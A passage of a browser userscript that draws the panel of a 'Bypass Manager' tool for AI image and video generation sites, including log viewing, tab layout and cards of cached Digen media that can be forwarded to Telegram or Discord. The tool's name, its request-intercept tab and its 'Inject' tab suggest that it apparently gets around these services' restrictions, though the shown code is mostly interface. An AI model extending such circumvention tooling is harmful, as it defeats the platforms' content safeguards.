    top.style.cssText = `display:flex; flex-wrap:wrap; gap:8px; align-items:center; justify-content:space-between; padding:12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary};`;
    top.innerHTML = `
      <div style="display:flex; flex-direction:column; gap:4px;">
        <div style="font-weight:900; color:${colors.text};"><i class="fas fa-list"></i> Logs</div>
        <div style="font-size:11px; color:${colors.textSecondary};">${logs.length} entr${logs.length === 1 ? 'y' : 'ies'} • Max ${Math.max(50, Number(settings.developerMaxLogs) || 500)}</div>
      </div>
      <div style="display:flex; gap:8px; align-items:center;">
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-export><i class="fas fa-file-export"></i> Export</button>
        <button class="bypass-btn bypass-btn-danger" style="width:auto; padding:8px 10px; font-size:11px;" data-clear><i class="fas fa-trash"></i> Clear</button>
      </div>
    `;
    wrap.appendChild(top);

    const filterRow = document.createElement('div');
    filterRow.style.cssText = `display:flex; gap:8px; flex-wrap:wrap; align-items:center; padding:12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bg};`;

    const search = document.createElement('input');
    search.type = 'text';
    search.placeholder = 'Search message / source / tag...';
    search.style.cssText = `min-width:220px; flex:1; padding:9px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px;`;

    const levelSel = document.createElement('select');
    levelSel.style.cssText = `padding:9px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px;`;
    levelSel.innerHTML = `<option value="">All levels</option><option value="error">error</option><option value="warning">warning</option><option value="info">info</option>`;

    const tagSel = document.createElement('select');
    tagSel.style.cssText = levelSel.style.cssText;
    const tags = Array.from(new Set(loadDeveloperLogs().map(l => l.tag).filter(Boolean))).sort();
    tagSel.innerHTML = `<option value="">All tags</option>` + tags.map(t => `<option value="${escapeHtml(t)}">${escapeHtml(t)}</option>`).join('');

    filterRow.appendChild(search);
    filterRow.appendChild(levelSel);
    filterRow.appendChild(tagSel);
    wrap.appendChild(filterRow);

    const list = document.createElement('div');
    list.style.cssText = 'display:flex; flex-direction:column; gap:8px;';
    wrap.appendChild(list);

    const render = () => {
      const q = (search.value || '').trim().toLowerCase();
      const lvl = levelSel.value;
      const tag = tagSel.value;
      const items = loadDeveloperLogs().slice().reverse().filter(l => {
        if (lvl && l.level !== lvl) return false;
        if (tag && l.tag !== tag) return false;
        if (!q) return true;
        const hay = `${l.message || ''} ${l.source || ''} ${l.tag || ''} ${l.ts || ''}`.toLowerCase();
        return hay.includes(q);
      });

      list.innerHTML = '';
      if (!items.length) {
        const empty = document.createElement('div');
        empty.style.cssText = `padding:16px; border-radius:12px; border:1px dashed ${colors.border}; background: rgba(15,23,42,0.22); color:${colors.textSecondary}; font-size:12px;`;
        empty.innerHTML = '<i class="fas fa-inbox"></i> No logs match your filters.';
        list.appendChild(empty);
        return;
      }

      items.slice(0, 800).forEach(l => {
        const levelColor = l.level === 'error' ? colors.error : l.level === 'warning' ? colors.warning : colors.primary;
        const row = document.createElement('div');
        row.style.cssText = `padding:12px; border-radius:14px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; display:flex; flex-direction:column; gap:8px;`;

        const top = document.createElement('div');
        top.style.cssText = 'display:flex; gap:10px; align-items:center; justify-content:space-between;';
        top.innerHTML = `
          <div style="display:flex; gap:10px; align-items:center; min-width:0;">
            <span style="background:${levelColor}; color:white; font-size:10px; font-weight:900; padding:2px 8px; border-radius:999px; text-transform:uppercase;">${escapeHtml(l.level || 'info')}</span>
            <span style="font-size:11px; color:${colors.textSecondary};">${escapeHtml(l.tag || 'developer')}</span>
            <span style="font-size:11px; color:${colors.textSecondary};">•</span>
            <span style="font-size:11px; color:${colors.textSecondary};">${escapeHtml(l.source || 'unknown')}</span>
          </div>
          <div style="font-size:10px; color:${colors.textSecondary}; font-family:Consolas, 'Courier New', monospace;">${escapeHtml(new Date(l.ts).toLocaleString())}</div>
        `;

        const msg = document.createElement('div');
        msg.style.cssText = `font-size:12px; color:${colors.text}; line-height:1.55; white-space:pre-wrap; word-break:break-word;`;
        msg.textContent = l.message || '';

        row.appendChild(top);
        row.appendChild(msg);

        if (l.details) {
          const details = document.createElement('details');
          details.style.cssText = `border-top:1px dashed ${colors.border}; padding-top:8px;`;
          const sum = document.createElement('summary');
          sum.style.cssText = `cursor:pointer; color:${colors.textSecondary}; font-size:11px; font-weight:800;`;
          sum.textContent = 'Details';
          const pre = document.createElement('pre');
          pre.style.cssText = `margin:8px 0 0 0; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.textSecondary}; overflow:auto; font-size:11px;`;
          try {
            pre.textContent = JSON.stringify(l.details, null, 2);
          } catch {
            pre.textContent = String(l.details);
          }
          details.appendChild(sum);
          details.appendChild(pre);
          row.appendChild(details);
        }

        list.appendChild(row);
      });
    };

    search.oninput = () => render();
    levelSel.onchange = () => render();
    tagSel.onchange = () => render();

    top.querySelector('[data-export]').onclick = () => {
      const data = loadDeveloperLogs();
      downloadJsonFile('bypass_developer_logs.json', { kind: 'bypass-developer-logs', version: 1, exportedAt: new Date().toISOString(), count: data.length, items: data });
      showToast('Exported developer logs', 'success');
    };
    top.querySelector('[data-clear]').onclick = () => {
      showConfirmDialog('Clear ALL developer logs?', () => {
        saveDeveloperLogs([]);
        devLog('logs', 'Developer logs cleared', null, 'warning', 'developer');
        render();
        updateUI();
      });
    };

    render();
    return wrap;
  }

  function createDevelopersContent() {
    const outer = document.createElement('div');
    outer.style.cssText = 'display:flex; flex-direction:column; gap:12px; height:100%;';

    const bar = document.createElement('div');
    bar.className = 'bypass-dev-subtabs';

    const group = document.createElement('div');
    group.className = 'bypass-dev-subtab-group';

    const mkBtn = (id, label, icon) => {
      const btn = document.createElement('button');
      btn.className = 'bypass-dev-subtab-btn' + (developersSubTab === id ? ' active' : '');
      btn.innerHTML = `<i class="fas ${icon}"></i> ${label}`;
      btn.onclick = () => {
        setDevelopersSubTab(id);
        updateUI();
      };
      return btn;
    };

    group.appendChild(mkBtn('inject', 'Inject', 'fa-syringe'));
    group.appendChild(mkBtn('logs', 'Logs', 'fa-list'));
    group.appendChild(mkBtn('selectors', 'Selectors', 'fa-code'));

    const hint = document.createElement('div');
    hint.style.cssText = 'font-size:11px; color:#94a3b8; font-weight:600; display:flex; gap:8px; align-items:center;';
    hint.innerHTML = '<i class="fas fa-wrench"></i> Developer tools';

    bar.appendChild(group);
    bar.appendChild(hint);
    outer.appendChild(bar);

    if (developersSubTab === 'inject') {
      outer.appendChild(createDevelopersInjectContent());
    } else if (developersSubTab === 'logs') {
      outer.appendChild(createDevelopersLogsContent());
    } else {
      outer.appendChild(createDevelopersSelectorsContent());
    }

    return outer;
  }

  async function updateUI(skipFullRebuild = false) {
    const renderToken = ++uiRenderToken;
    const runtime = getRemoteRuntimeConfig();
    const disableFloatingPanel = runtime.runtime_controls?.disable_floating_panel === true;
    if (disableFloatingPanel) {
      const existingContainer = document.querySelector('.bypass-container');
      if (existingContainer) existingContainer.remove();
      const collapsedBtn = document.querySelector('.bypass-collapsed-btn');
      if (collapsedBtn) collapsedBtn.remove();
      isExpanded = false;
      return;
    }

    // If just updating items, don't rebuild entire UI
    const existingContainer = document.querySelector('.bypass-container');
    if (skipFullRebuild && existingContainer) {
      const itemList = existingContainer.querySelector('.bypass-item-list');
      if (itemList) {
        itemList.innerHTML = '';
        itemsData.forEach(item => {
          const card = createItemCard(item);
          itemList.appendChild(card);
        });
      }
      return;
    }

    injectStyles();
    await getToken();

    if (!settings.enableTaskProfilesCreation && currentTab === 'profiles') {
      currentTab = 'home';
    }

    if (!settings.sharedNetworkEnabled && currentTab === 'sharedNetwork') {
      currentTab = 'home';
    }

    if (!settings.communityShareEnabled && currentTab === 'community') {
      currentTab = 'home';
    }

    if (!shouldShowServicesTab(remoteConfig) && currentTab === 'services') {
      currentTab = 'home';
    }

    if (IS_PIXVERSE_DOMAIN && !['home', 'settings', 'help', 'about', 'pixverseBackground'].includes(currentTab)) {
      currentTab = 'home';
    }
    if (IS_DIGEN_DOMAIN && !['home', 'settings', 'help', 'about', 'digenBackground'].includes(currentTab)) {
      currentTab = 'home';
    }
    if (IS_GROK_DOMAIN && !['home', 'settings', 'help', 'about', 'grokBackground'].includes(currentTab)) {
      currentTab = 'home';
    }
    if (IS_HIGGSFIELD_DOMAIN && !['home', 'settings', 'help', 'about', 'higgsfieldBackground'].includes(currentTab)) {
      currentTab = 'home';
    }
    if (IS_HAILUO_DOMAIN && !['home', 'settings', 'help', 'about', 'hailuoBackground'].includes(currentTab)) {
      currentTab = 'home';
    }

    const isExternalFloatingDomain = IS_PIXVERSE_DOMAIN || IS_DIGEN_DOMAIN || IS_GROK_DOMAIN || IS_HIGGSFIELD_DOMAIN || IS_HAILUO_DOMAIN;
    const shouldRenderCurrentDomainUi = shouldShowUiOnCurrentDomain();

    const collapsedBtn = document.querySelector('.bypass-collapsed-btn');

    if (isExternalFloatingDomain && !shouldRenderCurrentDomainUi) {
      if (existingContainer) {
        existingContainer.remove();
      }
      if (collapsedBtn) {
        collapsedBtn.remove();
      }
      container = null;
      isExpanded = false;
      return;
    }

    if (!isExpanded) {
      if (existingContainer) {
        existingContainer.remove();
      }
      container = null;
      createCollapsedButton();
      if (collapsedBtn) {
        collapsedBtn.style.display = 'flex';
      }
      return;
    }

    if (collapsedBtn) {
      collapsedBtn.style.display = 'none';
    }

    // Create or reuse main container shell without destroying it every render.
    const containerWasCreated = !existingContainer;
    if (existingContainer) {
      container = existingContainer;
    } else {
      container = document.createElement('div');
      container.className = 'bypass-container';
    }

    // Always keep the class in sync (fullscreen adds a modifier class)
    container.className = `bypass-container${settings.fullscreen ? ' bypass-fullscreen' : ''}`;

    const width = settings.position.width || '420px';
    const height = settings.position.height || '600px';
    const hasRightPosition = typeof settings.position.right === 'string' && settings.position.right.trim() !== '' && settings.position.right !== 'auto';
    const shouldCenterTransform = !!(settings.position.left && settings.position.left.includes('%') && settings.position.top && settings.position.top.includes('%'));

    // Position container on right or left side (only when creating)
    if (!existingContainer && !settings.fullscreen) {
      if (hasRightPosition) {
        container.style.right = settings.position.right;
        container.style.left = 'auto';
      } else {
        container.style.left = settings.position.left;
        container.style.right = 'auto';
      }

      container.style.top = settings.position.top;
      container.style.width = width;
      container.style.height = height;
      container.style.transform = shouldCenterTransform ? 'translate(-50%, -50%)' : 'none';
    }

    // Fullscreen overrides
    if (settings.fullscreen) {
      container.style.top = '0px';
      container.style.left = '0px';
      container.style.right = '0px';
      container.style.bottom = '0px';
      container.style.width = '100vw';
      container.style.height = '100vh';
      container.style.transform = 'none';
    } else {
      // When leaving fullscreen, ensure we use current settings.position (restored from backup if present)
      if (hasRightPosition) {
        container.style.right = settings.position.right;
        container.style.left = 'auto';
      } else {
        container.style.left = settings.position.left;
        container.style.right = 'auto';
      }
      container.style.top = settings.position.top;
      container.style.width = width;
      container.style.height = height;
      container.style.transform = shouldCenterTransform ? 'translate(-50%, -50%)' : 'none';
    }

    // Header
    let header = container.querySelector('.bypass-header');
    if (!header) {
      header = document.createElement('div');
      header.className = 'bypass-header';
    }
    header.className = 'bypass-header';
    header.innerHTML = `
      <div style="display: flex; justify-content: space-between; align-items: center; width: 100%;">
        <div>
          <h3 class="bypass-header-title">
            <i class="fas fa-shield-alt"></i>
            Bypass Manager
          </h3>
          <div class="bypass-header-message" data-bypass-header-message="true"></div>
          <p style="margin: 4px 0 0 28px; font-size: 11px; opacity: 0.7; font-weight: 500;">
            <i class="fas fa-code"></i> Developer: TheFreeOne Guy | Free Internet
          </p>
        </div>
        <div class="bypass-header-actions">
          <button class="bypass-btn-icon" title="Refresh remote config" id="remoteConfigRefreshBtn"><i class="fas fa-arrows-rotate"></i></button>
          <button class="bypass-btn-icon" title="Theme" id="themeToggleBtn"><i class="fas fa-moon"></i></button>
          <button class="bypass-btn-icon" title="Fullscreen" id="fullscreenToggleBtn"><i class="fas fa-expand"></i></button>
          <button class="bypass-btn-icon" title="Collapse" id="closeBtn"><i class="fas fa-minus"></i></button>
        </div>
      </div>
    `;

    const remoteConfigRefreshBtn = header.querySelector('#remoteConfigRefreshBtn');
    remoteConfigRefreshBtn.onclick = async (e) => {
      e.preventDefault();
      e.stopPropagation();
      try {
        remoteConfigRefreshBtn.disabled = true;
        remoteConfigRefreshBtn.style.opacity = '0.6';
        await fetchRemoteConfigWithOptions({ force: true, reason: 'manual-refresh' });
        showToast('Remote config refreshed', 'success');
      } catch (err) {
        showToast(`Remote config refresh failed: ${err?.message || err}`, 'error');
      } finally {
        remoteConfigRefreshBtn.disabled = false;
        remoteConfigRefreshBtn.style.opacity = '1';
        startRemoteConfigWatcher();
      }
    };

    const themeToggleBtn = header.querySelector('#themeToggleBtn');
    themeToggleBtn.onclick = (e) => {
      e.preventDefault();
      e.stopPropagation();
      settings.theme = settings.theme === 'dark' ? 'light' : 'dark';
      saveSettings();
      updateUI();
    };

    const closeBtn = header.querySelector('#closeBtn');
    closeBtn.onclick = (e) => {
      e.preventDefault();
      e.stopPropagation();
      isExpanded = false;
      updateUI();
    };

    const fullscreenBtn = header.querySelector('#fullscreenToggleBtn');
    if (settings.fullscreen) {
      fullscreenBtn.classList.add('is-active');
      fullscreenBtn.title = 'Exit Fullscreen';
      fullscreenBtn.innerHTML = '<i class="fas fa-compress"></i>';
    }
    fullscreenBtn.onclick = (e) => {
      e.preventDefault();
      e.stopPropagation();
      try {
        if (!settings.fullscreen) {
          // Backup current position so we can restore it later.
          settings.positionBeforeFullscreen = { ...settings.position };
          settings.fullscreen = true;
        } else {
          settings.fullscreen = false;
          if (settings.positionBeforeFullscreen) {
            settings.position = { ...settings.position, ...settings.positionBeforeFullscreen };
          }
          settings.positionBeforeFullscreen = null;
        }
        saveSettings();
      } catch (err) {
        console.warn('[UI] Fullscreen toggle failed:', err);
      }
      updateUI();
    };

    if (renderToken !== uiRenderToken) return;
    if (!header.isConnected) {
      container.appendChild(header);
    } else if (container.firstElementChild !== header) {
      container.insertBefore(header, container.firstElementChild || null);
    }
    applyUpdateStateToHeader(header);

    // Tabs
    let tabs = container.querySelector('.bypass-tabs');
    if (!tabs) {
      tabs = document.createElement('div');
      tabs.className = 'bypass-tabs';
      tabs.addEventListener('wheel', (e) => {
        if (e.deltaY !== 0) {
          e.preventDefault();
          tabs.scrollLeft += e.deltaY;
        }
      }, { passive: false });
    }
    tabs.className = 'bypass-tabs';
    if (isExternalFloatingDomain) tabs.classList.add('bypass-tabs-external');
    tabs.innerHTML = '';

    const tensorInterceptTabBtn = createTabButton('Tensor XHR', 'tensorInterceptBackground', currentTab === 'tensorInterceptBackground');
    const pixverseBgTabBtn = createTabButton('Background', 'pixverseBackground', currentTab === 'pixverseBackground');
    const digenBgTabBtn = createTabButton('Background', 'digenBackground', currentTab === 'digenBackground');
    const grokBgTabBtn = createTabButton('Background', 'grokBackground', currentTab === 'grokBackground');
    const higgsfieldBgTabBtn = createTabButton('Background', 'higgsfieldBackground', currentTab === 'higgsfieldBackground');
    const hailuoBgTabBtn = createTabButton('Background', 'hailuoBackground', currentTab === 'hailuoBackground');
    const itemsTabBtn = createTabButton('Items', 'home', currentTab === 'home');
    const tasksTabBtn = createTabButton('Download/Sent', 'tasks', currentTab === 'tasks');
    const profilesTabBtn = createTabButton('Profiles', 'profiles', currentTab === 'profiles');
    const accountsTabBtn = createTabButton('Accounts', 'accounts', currentTab === 'accounts');
    const dataControlTabBtn = createTabButton('Data Control', 'dataControl', currentTab === 'dataControl');
    const servicesTabBtn = createTabButton('Services', 'services', currentTab === 'services');
    const communityTabBtn = createTabButton('Community', 'community', currentTab === 'community');
    const sharedNetworkTabBtn = createTabButton('Shared Network', 'sharedNetwork', currentTab === 'sharedNetwork');
    const settingsTabBtn = createTabButton('Settings', 'settings', currentTab === 'settings');
    const developersTabBtn = createTabButton('Developers', 'developers', currentTab === 'developers');
    const aboutTabBtn = createTabButton('About', 'about', currentTab === 'about');
    const helpTabBtn = createTabButton('Help', 'help', currentTab === 'help');

    if (IS_PIXVERSE_DOMAIN) {
      tabs.appendChild(itemsTabBtn);
      tabs.appendChild(pixverseBgTabBtn);
      tabs.appendChild(settingsTabBtn);
      tabs.appendChild(helpTabBtn);
      tabs.appendChild(aboutTabBtn);
    } else if (IS_DIGEN_DOMAIN) {
      tabs.appendChild(itemsTabBtn);
      tabs.appendChild(digenBgTabBtn);
      tabs.appendChild(settingsTabBtn);
      tabs.appendChild(helpTabBtn);
      tabs.appendChild(aboutTabBtn);
    } else if (IS_HIGGSFIELD_DOMAIN) {
      tabs.appendChild(itemsTabBtn);
      tabs.appendChild(higgsfieldBgTabBtn);
      tabs.appendChild(settingsTabBtn);
      tabs.appendChild(helpTabBtn);
      tabs.appendChild(aboutTabBtn);
    } else if (IS_HAILUO_DOMAIN) {
      tabs.appendChild(itemsTabBtn);
      tabs.appendChild(hailuoBgTabBtn);
      tabs.appendChild(settingsTabBtn);
      tabs.appendChild(helpTabBtn);
      tabs.appendChild(aboutTabBtn);
    } else if (IS_GROK_DOMAIN) {
      tabs.appendChild(itemsTabBtn);
      tabs.appendChild(grokBgTabBtn);
      tabs.appendChild(settingsTabBtn);
      tabs.appendChild(helpTabBtn);
      tabs.appendChild(aboutTabBtn);
    } else {
      tabs.appendChild(itemsTabBtn);
      tabs.appendChild(tasksTabBtn);
      if (settings.enableTaskProfilesCreation) {
        tabs.appendChild(profilesTabBtn);
      }
      tabs.appendChild(accountsTabBtn);
      tabs.appendChild(dataControlTabBtn);
      tabs.appendChild(tensorInterceptTabBtn);
      if (shouldShowServicesTab(remoteConfig)) {
        tabs.appendChild(servicesTabBtn);
      }
      if (settings.sharedNetworkEnabled) {
        tabs.appendChild(sharedNetworkTabBtn);
      }
      if (settings.communityShareEnabled) {
        tabs.appendChild(communityTabBtn);
      }
      tabs.appendChild(aboutTabBtn);
      tabs.appendChild(settingsTabBtn);
      tabs.appendChild(developersTabBtn);
      tabs.appendChild(helpTabBtn);
    }
    if (renderToken !== uiRenderToken) return;
    if (!tabs.isConnected) {
      container.appendChild(tabs);
    } else if (tabs.previousElementSibling !== header) {
      container.insertBefore(tabs, header.nextSibling || null);
    }

    const taskStats = getTaskActionStats();
    if (!IS_PIXVERSE_DOMAIN && !IS_DIGEN_DOMAIN && !IS_GROK_DOMAIN && !IS_HIGGSFIELD_DOMAIN && !IS_HAILUO_DOMAIN && taskStats.total) {
      const badge = document.createElement('span');
      badge.style.cssText = 'margin-left: 6px; background: rgba(99,102,241,0.2); color: #cbd5e1; padding: 2px 6px; border-radius: 999px; font-size: 10px;';
      badge.textContent = `${taskStats.queued + taskStats.inProgress}`;
      tasksTabBtn.appendChild(badge);
    }

    // Services badge: show count of services needing updates
    if (!IS_PIXVERSE_DOMAIN && !IS_DIGEN_DOMAIN && !IS_GROK_DOMAIN && !IS_HIGGSFIELD_DOMAIN && !IS_HAILUO_DOMAIN && shouldShowServicesTab(remoteConfig)) {
      try {
        const services = getEnabledRemoteServices(remoteConfig);
        const count = services.filter(s => getServiceUpdateState(s).updateAvailable).length;
        if (count > 0) {
          const badge = document.createElement('span');
          badge.style.cssText = 'margin-left: 6px; background: rgba(245,158,11,0.18); color: #fde68a; padding: 2px 6px; border-radius: 999px; font-size: 10px; font-weight: 800;';
          badge.textContent = String(count);
          servicesTabBtn.appendChild(badge);
        }
      } catch {
        // ignore
      }
    }

    // Content - cache existing home tab to avoid reloads
    const existingContent = container.querySelector('.bypass-content');
    if (existingContent) {
      const existingTabKey = existingContent.getAttribute('data-bypass-tab');
      if (existingTabKey) {
        tabScrollPositions[existingTabKey] = existingContent.scrollTop;
      }
      const tabKey = existingContent.getAttribute('data-bypass-tab');
      if (tabKey === 'home') {
        tabContentCache.set('home', existingContent);
      }
      existingContent.remove();
    }

    if (renderToken !== uiRenderToken) return;
    let content = null;
    const viewItemsForKey = currentTab === 'home' ? getItemsForCurrentAccount() : itemsData;
    const itemsKey = getItemsKey(viewItemsForKey);
    const cachedHome = currentTab === 'home' ? tabContentCache.get('home') : null;
    let usedCachedHome = false;
    if (cachedHome && cachedHome.getAttribute('data-bypass-items-key') === itemsKey) {
      content = cachedHome;
      usedCachedHome = true;
    } else {
      content = document.createElement('div');
      content.className = 'bypass-content';
      content.setAttribute('data-bypass-tab', currentTab);
      if (currentTab === 'home') {
        content.setAttribute('data-bypass-items-key', itemsKey);
      }
    }
    content.setAttribute('data-bypass-tab', currentTab);
    if (!content.dataset.bypassScrollListenerAttached) {
      content.addEventListener('scroll', () => {
        const tabKey = content.getAttribute('data-bypass-tab') || currentTab;
        tabScrollPositions[tabKey] = content.scrollTop;
      }, { passive: true });
      content.dataset.bypassScrollListenerAttached = '1';
    }

    if (currentTab === 'home') {
      if (IS_DIGEN_DOMAIN) {
        const jobs = await getDigenJobsForUi();
        const header = document.createElement('div');
        header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(56,189,248,0.35); border-radius:12px; background:linear-gradient(135deg, rgba(2,132,199,0.16), rgba(14,116,144,0.10));';
        header.innerHTML = `<div style="font-size:12px;color:#dbeafe;"><i class="fas fa-database" style="margin-right:6px;color:#67e8f9;"></i><strong>${jobs.length}</strong> cached Digen item(s)</div>`;
        const actions = document.createElement('div');
        actions.style.cssText = 'display:flex; gap:8px;';
        const refreshBtn = document.createElement('button');
        refreshBtn.className = 'bypass-btn bypass-btn-secondary';
        refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
        refreshBtn.onclick = () => updateUI();
        const exportBtn = document.createElement('button');
        exportBtn.className = 'bypass-btn bypass-btn-primary';
        exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export JSON';
        exportBtn.onclick = async () => {
          try {
            await exportDigenJobsToJson();
          } catch (err) {
            addDigenUiLog('error', 'Failed to export Digen jobs', { error: String(err?.message || err) });
            showToast('Failed to export Digen items', 'error');
          }
        };
        const clearBtn = document.createElement('button');
        clearBtn.className = 'bypass-btn bypass-btn-danger';
        clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
        clearBtn.onclick = () => {
          showConfirmDialog('Clear Digen items cache from IndexedDB?', async () => {
            await digenJobs.clear();
            addDigenUiLog('success', 'Cleared all Digen jobs');
            updateUI();
          });
        };
        actions.appendChild(refreshBtn);
        actions.appendChild(exportBtn);
        actions.appendChild(clearBtn);
        header.appendChild(actions);
        content.appendChild(header);

        if (!jobs.length) {
          const empty = document.createElement('div');
          empty.className = 'bypass-empty-state';
          empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Digen items captured yet. Generate/check queue items and they will appear here.</div>';
          content.appendChild(empty);
        } else {
          const list = document.createElement('div');
          list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
          jobs.forEach((job) => {
            const thumb = job?.thumbnail || job?.resource_urls?.[0]?.thumbnail || '';
            const videoUrl = job?.videoUrl || job?.resource_urls?.[0]?.videoUrl || '';
            const imageUrl = job?.image || job?.resource_urls?.[0]?.image || '';
            const finalUrl = videoUrl || imageUrl || thumb || '';
            const isVideo = !!videoUrl;
            const card = document.createElement('div');
            card.style.cssText = 'border:1px solid rgba(56,189,248,0.35); border-radius:12px; background:rgba(15,23,42,0.40); padding:10px; display:flex; flex-direction:column; gap:8px;';
            const preview = finalUrl
              ? (isVideo
                ? `<video src="${escapeHtml(finalUrl)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
                : `<img src="${escapeHtml(finalUrl)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`)
              : '<div style="height:120px;display:flex;align-items:center;justify-content:center;border-radius:8px;background:#0f172a;color:#64748b;"><i class="fas fa-image"></i></div>';
            card.innerHTML = `
              ${preview}
              <div style="font-size:12px;color:#e2e8f0;font-weight:700;"><i class="fas ${isVideo ? 'fa-video' : 'fa-image'}"></i> ${isVideo ? 'Video' : 'Image'} • ID ${escapeHtml(String(job?.id ?? 'N/A'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Status: ${escapeHtml(String(job?.status ?? 'N/A'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Created: ${escapeHtml(new Date(job?.createdAtTimestamp || job?.createdAt || Date.now()).toLocaleString())}</div>
            `;
            const buttons = document.createElement('div');
            buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
            const openBtn = document.createElement('button');
            openBtn.className = 'bypass-btn bypass-btn-secondary';
            openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
            openBtn.disabled = !finalUrl;
            openBtn.onclick = () => { if (finalUrl) window.open(finalUrl, '_blank'); };
            const copyBtn = document.createElement('button');
            copyBtn.className = 'bypass-btn bypass-btn-primary';
            copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy';
            copyBtn.disabled = !finalUrl;
            copyBtn.onclick = async () => {
              if (!finalUrl) return;
              if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(finalUrl);
              showToast('Copied Digen URL', 'success');
            };
            buttons.appendChild(openBtn);
            buttons.appendChild(copyBtn);

            if (settings.telegramEnabled && settings.telegramToken && settings.telegramChatId) {
              const tgBtn = document.createElement('button');
              tgBtn.className = 'bypass-btn bypass-btn-primary';
              tgBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
              tgBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
              tgBtn.disabled = !finalUrl;
              tgBtn.onclick = async () => {
                if (!finalUrl) return;
                try {
                  addDigenUiLog('info', 'Sending item to Telegram', { id: job?.id || null });
                  const result = await sendToTelegram(finalUrl, isVideo ? 'video/mp4' : 'image/png', job?.id || null, job?.createdAtTimestamp || job?.createdAt || Date.now(), '', job?.id || null, {
                    platform: 'digen',
                    source: 'floating-items'
                  });
                  if (result?.ok) {
                    addDigenUiLog('success', 'Sent item to Telegram', { id: job?.id || null, mode: result.mode || 'unknown' });
                    showToast('Sent to Telegram', 'success');
                  } else {
                    addDigenUiLog('error', 'Failed sending item to Telegram', { id: job?.id || null, error: result?.error || 'unknown error' });
                    showToast(result?.error || 'Telegram send failed', 'error');
                  }
                } catch (err) {
                  addDigenUiLog('error', 'Telegram send exception', { id: job?.id || null, error: String(err?.message || err) });
                  showToast('Telegram send failed', 'error');
                }
              };
              buttons.appendChild(tgBtn);
            }

            if (settings.discordEnabled && settings.discordWebhook) {
              const dcBtn = document.createElement('button');
              dcBtn.className = 'bypass-btn bypass-btn-secondary';
              dcBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
              dcBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
              dcBtn.disabled = !finalUrl;
              dcBtn.onclick = async () => {
                if (!finalUrl) return;
                try {
                  addDigenUiLog('info', 'Sending item to Discord', { id: job?.id || null });
                  const result = await sendToDiscord(finalUrl, isVideo ? 'video/mp4' : 'image/png', job?.id || null, job?.createdAtTimestamp || job?.createdAt || Date.now(), '', job?.id || null, {
                    platform: 'digen',
                    source: 'floating-items'
                  });
                  if (result?.ok) {
                    addDigenUiLog('success', 'Sent item to Discord', { id: job?.id || null, mode: result.mode || 'unknown' });
                    showToast('Sent to Discord', 'success');
                  } else {
                    addDigenUiLog('error', 'Failed sending item to Discord', { id: job?.id || null, error: result?.error || 'unknown error' });
                    showToast(result?.error || 'Discord send failed', 'error');
                  }
                } catch (err) {
                  addDigenUiLog('error', 'Discord send exception', { id: job?.id || null, error: String(err?.message || err) });
                  showToast('Discord send failed', 'error');
                }
              };
              buttons.appendChild(dcBtn);
            }

            card.appendChild(buttons);
            list.appendChild(card);
          });
          content.appendChild(list);
        }
      } else if (IS_PIXVERSE_DOMAIN) {
        const entries = getPixverseMediaEntries();
        const header = document.createElement('div');
        header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.35);';
        header.innerHTML = `<div style="font-size:12px;color:#cbd5e1;"><i class="fas fa-database" style="margin-right:6px;color:#6366f1;"></i><strong>${entries.length}</strong> cached Pixverse media link(s)</div>`;
        const actions = document.createElement('div');
        actions.style.cssText = 'display:flex; gap:8px;';
        const refreshBtn = document.createElement('button');
        refreshBtn.className = 'bypass-btn bypass-btn-secondary';
        refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
        refreshBtn.onclick = () => updateUI();
        const clearBtn = document.createElement('button');
        clearBtn.className = 'bypass-btn bypass-btn-danger';
        clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
        clearBtn.onclick = () => {
          showConfirmDialog('Clear Pixverse cached media links?', () => {
            savePixverseMediaCache({});
            updateUI();
          });
        };
        actions.appendChild(refreshBtn);
        actions.appendChild(clearBtn);
        header.appendChild(actions);
        content.appendChild(header);

        if (!entries.length) {
          const empty = document.createElement('div');
          empty.className = 'bypass-empty-state';
